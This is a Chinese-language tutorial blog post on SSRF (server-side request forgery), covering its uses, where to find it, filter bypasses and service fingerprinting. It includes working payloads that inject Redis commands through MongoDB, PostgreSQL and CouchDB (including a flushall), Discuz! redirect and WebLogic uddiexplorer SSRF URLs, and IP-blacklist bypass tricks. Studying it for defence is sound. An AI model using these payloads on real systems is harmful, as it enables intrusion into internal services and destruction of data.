SSRF

SSRF

九月 18, 2021

介绍

什么是SSRF

SSRF(Server-Side Request Forgery:服务器端请求伪造),由攻击者构造的攻击链接传给服务端执行造成的漏洞.
SSRF通过利用一个可以发送网络请求的服务以它为跳板对其他资源进行访问或者说攻击

通俗点讲,SSRF的攻击方式其实就类似于抓了一个肉鸡,然后有这个肉鸡去执行攻击者后续想要执行的操作。这样一来,在受到攻击或者说接收到网络请求的服务器的视角看,对它进行攻击的是这台肉鸡服务器而非攻击者。
(即:身份伪造)
这个时候如果这台所谓的 “肉鸡” 服务器对于攻击者所攻击的目标又拥有特殊身份权限的话,便是所谓的SSRF攻击了。

20210918151006

常见的SSRF攻击多为通过跳板机访问目标资源。形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。

SSRF可以做什么

  • 扫描内部网络的 服务 or 资源
  • 利用file协议读取本地文件等
  • 暴力穷举(如:users|dirs|files
  • DOS攻击(请求大文件,始终保持连接Keep-Alive Always)
  • 向内部任意主机任意端口发送攻击者精心构造的数据包。

常用协议:

协议名称 简介
Gopher 攻击内部应用的主力军
Dict 端口探测,版本信息收集
ftp 探测是否存在ftp
http 探测是否存在ssrf
file 读取本地文件

注意:jdk1.7后java不再支持gopher

2059787-20201019111517054-1252234555

怎么找SSRF

  • 能够对外发起网络请求的地方
  • 从远程服务器请求资源(Upload from URL 、Import & Export RSS feed)
  • 数据库内置功能(Oracle、MongoDB、MSSQL、Postgres、CouchDB)
  • Webmail 收取其他邮箱邮件(POP3 | IMAP | SMTP)
  • 文件处理、编码处理、属性信息处理(ffpmg、ImageMaic、DOCX、PDF、XML处理器)

注意

有两种情况会阻碍SSRF的利用:

  • 服务端开启OpenSSL无法进行交互利用
  • 服务端需要鉴权信息(Cookies & Username:Password)

从远程服务器请求资源

  • Upload from URL
    • Discuz!
  • Import & Export RSS feed
    • Web Blog
  • 使用XML引擎对象的地方
    • Wordpress xmlrpc.php
    • XXE实体引用
    • DTD文档类型定义
    • XLST — XML文档转换为其他格式
XML Fuzz Cheatsheet(模糊测试表)
XML Fuzz Cheatsheet —— Web Services 标准项
XML Fuzz Cheatsheet —— 第三方应用与新协议
数据库内置功能
  • MongoDB
    变废为宝的未授权访问

    db.copyDatabase(‘\r\nconfig set dbfilename wyssrf\r\nquit\r\n’,’test’,’10.6.4.166:6379’)

    1
    2
    3
    4
    5
    [root@10-6-4-166 ~]# nc -l -vv 6379
    Connection from 10.6.19.144 port 6379 [tcp/*]
    config set dbfilename wyssrf
    quit
    .system.namespaces

    db.copyDatabase(‘helo’,’test’,’10.6.4.166:22’);
    {“errmsg” : “……helo.systemnamespaces failed: “ }
    db.copyDatabase(‘helo’,’test’,’10.6.4.166:9999’);
    {“errormsg” : “couldn’t connect to server 10.6.4.166:9999”}
    互联网开放了50000+不需要授权访问的 MongoDB Server

  • Oracle
    UTL_HTTP
    UTL_TCP
    UTL_SMTP
    https://docs.oracle.com/cd/E11882_01/appdev.112/e40758/u_http.htm#ARPLS070
  • PostgresSQL
    dblink_send_query()发起远程查询

    1
    2
    3
    4
    SELECT dblink_send_query(
    'host=127.0.0.1 dbname=quit user=\'\r\nconfig set dbfilename wyssrf\r\nquit\r\n\' password=1 port=6379 sslmode=disable',
    'select version();'
    )

    回显:

    [root@localhost ~]# nc -l -vv 6379
    Connection from 127.0.0.1 port 6379 [tcp/*]
    config set dbfilename wyssrf
    quit

    https://www.postgresql.org/docs/8.4/static/dblink.html

  • MSSQL
    OpenRowset()

    1
    2
    SELECT openrowset('SQLOLEDB',
    'server=192.168.1.5;uid=sa;pwd=sa;database=master')

    OpenDatasource()

    1
    2
    SELECT * FROM OpenDatasource('SQLOLEDB', 
    'Data Source=ServerName;User ID=sa;Password=sa' ) .Northwind.dbo.Categories

    https://msdn.microsoft.com/zh-cn/library/ms190312.aspx
    协议限制: 穷举用户口令 XP_CMDSHELL

  • CouchDB
    HTTP API /_replicate

    1
    2
    3
    4
    5
    6
    7
    POST http://couchdb-server:5984/_replicate 
    Content-Type: application/json
    Accept: application/json
    {
    "source" : "recipes",
    "target" : "dict://redis.wuyun.org:6379/flushall”,
    }

    https://docs.couchdb.org/en/stable/api/server/common.html

Web mail 收取其他邮箱邮件
  • QQ邮箱
  • 163/126邮箱
  • 新浪邮箱
文件处理、编码处理、属性信息处理

网盘 & 邮箱系统
PDF、DOCX 在线编辑
文件自动预览

利用

利用条件

  • 需成功发送针对目标服务漏洞的payload

遇到限制的绕过方式

IP限制绕过(xip.io、十进制IP、八进制IP)

  • 要求对象必须包含域名Domain,且符合.tld标准
    url=http://www.10.10.10.10.xip.io
  • 将10、127、172、192开头的私有IP列入黑名单
    十进制IP: *256**3 + *256**2 + *256
    八进制IP:012.10.10.10 = 10.10.10.10

协议限制绕过(Redirect̵CRLF header injection)

  • 只允许startswith('http')传入

    • 302 Redirect 跳转 (HTTP Scheme ——> DICT Scheme)
      Discuz! SSRF

      1
      /forum.php?mod=ajax&action=downremoteimg&message=[img]http://wuyun.org/302.php?helo.jpg[/img]

      302.php

      1
      2
      <?php
      header("Location: dict://wuyun.org:6379/set:1:helo”); # set 1 helo \n
    • CRLF ( Ascii Code ) — header injection

      • WebLogic uddiexplorer SSRF

        1
        http://localhost:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://wuyun.org/helo&rdoSearch=name&btnSubmit=Search
      • CRLF ->ASCII Code
        %0d -> 0x0d -> \r
        %0a -> 0x0a -> \n

WebLogic SSRF 漏洞利用 CRLF HTTP头注入

example:
111
112
CRLF的攻击方式其实在某种角度上和http走私攻击的原理有重合部分

WebLogic SSRF 服务探测 (FingerPrint)
  • 请求未开放的服务
    weblogic.uddi.client.structures.exception.XML_SoapException: Tried
    all: ‘1’ addresses, but could not connect over HTTP to server:
    ‘fuzz.wuyun.com’, port: ‘88’

  • 请求开放的服务
    weblogic.uddi.client.structures.exception.XML_SoapException:
    Received a response from url: http://fuzz.wuyun.com:22/helo which
    did not have a valid SOAP content-type: null.

  • 可被识别的回显
    weblogic.uddi.client.structures.exception.XML_SoapException:
    Received a response from url: http://www.baidu.com/ which did not
    have a valid SOAP content-type: text/html; charset=UTF-8

  • 不可被识别的回显
    weblogic.uddi.client.structures.exception.XML_SoapException:
    Received a response from url: http://fuzz.wuyun.com:22 which did
    not have a valid SOAP content-type: null.

大部分企业认为WebLogic自带的SSRF不算是漏洞

BEA & Oracle WebLogic 在行业中的使用占比:

  • 银行、金融、证券行业:80%
  • 电力、能源行业:70%
  • 国家基础设施 & 政府:90%

调用系统支持的协议和方法(Protocols & Wrappers)

  • PHP
    http://php.net/manual/en/wrappers.php

  • Java
    sun.net.www.protocol.*
    file ftp gopher http https jar mailto netdoc

    file:// — Accessing local filesystem
    http:// — Accessing HTTP(s) URLs
    ftp:// — Accessing FTP(s) URLs
    php:// — Accessing various I/O streams
    zlib:// — Compression Streams
    data:// — Data (RFC 2397)
    glob:// — Find pathnames matching pattern
    phar:// — PHP Archive
    ssh2:// — Secure Shell 2 rar:// — RAR
    expect:// — Process Interaction Streams

漏洞利用(远程服务)

  • HTTP协议
    GET /path HTTP/1.1
    POST /path HTTP/1.1
    WebDav:
    PUT MOVE DEL
  • UDP协议
    tftp://10.10.10.10/get helo
  • SMBreplay & BadTunnel
    UNC Call:
    \\10.10.10.10\c$\boot.ini
  • FTP & SMTP & POP3
    20211105112015

利用SSRF攻击本地服务

20211105112120

利用SSRF攻击数据库&缓存

20211105112240

XXE -> SSRF -> CSRF 组合方法

  • CoreMail 提供一个绑定在内部IP的高权限API

    /apiws/services/API?wsdl
    可以创建&删除用户、修改超级管理员密码

  • CoreMail 前台存在一个XML XXE SSRF漏洞
  • 利用SSRF漏洞请求外部无法访问的高权限API

自动化

  • 基于python
    furl / requests / multiprocessing / time / re
  • 服务指纹识别
    时间差盲测
    根据回显内容进行判断
  • 利用漏洞整理分类
    协议(http ̵dict̵gopher̵tftp)

服务指纹识别

  • 时间差盲猜

    keep-Alive: timeout=5
    一直保持连接 keep-alive
    http & dict://wuyun.org:6379
    传完数据,自动断开

  • 根据回显内容

    [root@localhost ~] # curl http://wuyun.org:22
    SSH-2.0-OpenSSH_5.3
    Protocol mismatch.

正确错误状态对比:

db.copyDatabase(‘helo’,’test’,’10.6.4.166:22’);
{“errmsg” : “……helo.systemnamespaces failed: “ }
db.copyDatabase(‘helo’,’test’,’10.6.4.166:6379’);
{“errormsg” : “couldn’t connect to server 10.6.4.166:6379”}

能用于SSRF的漏洞列表

20211108113643

20211108113704

隐藏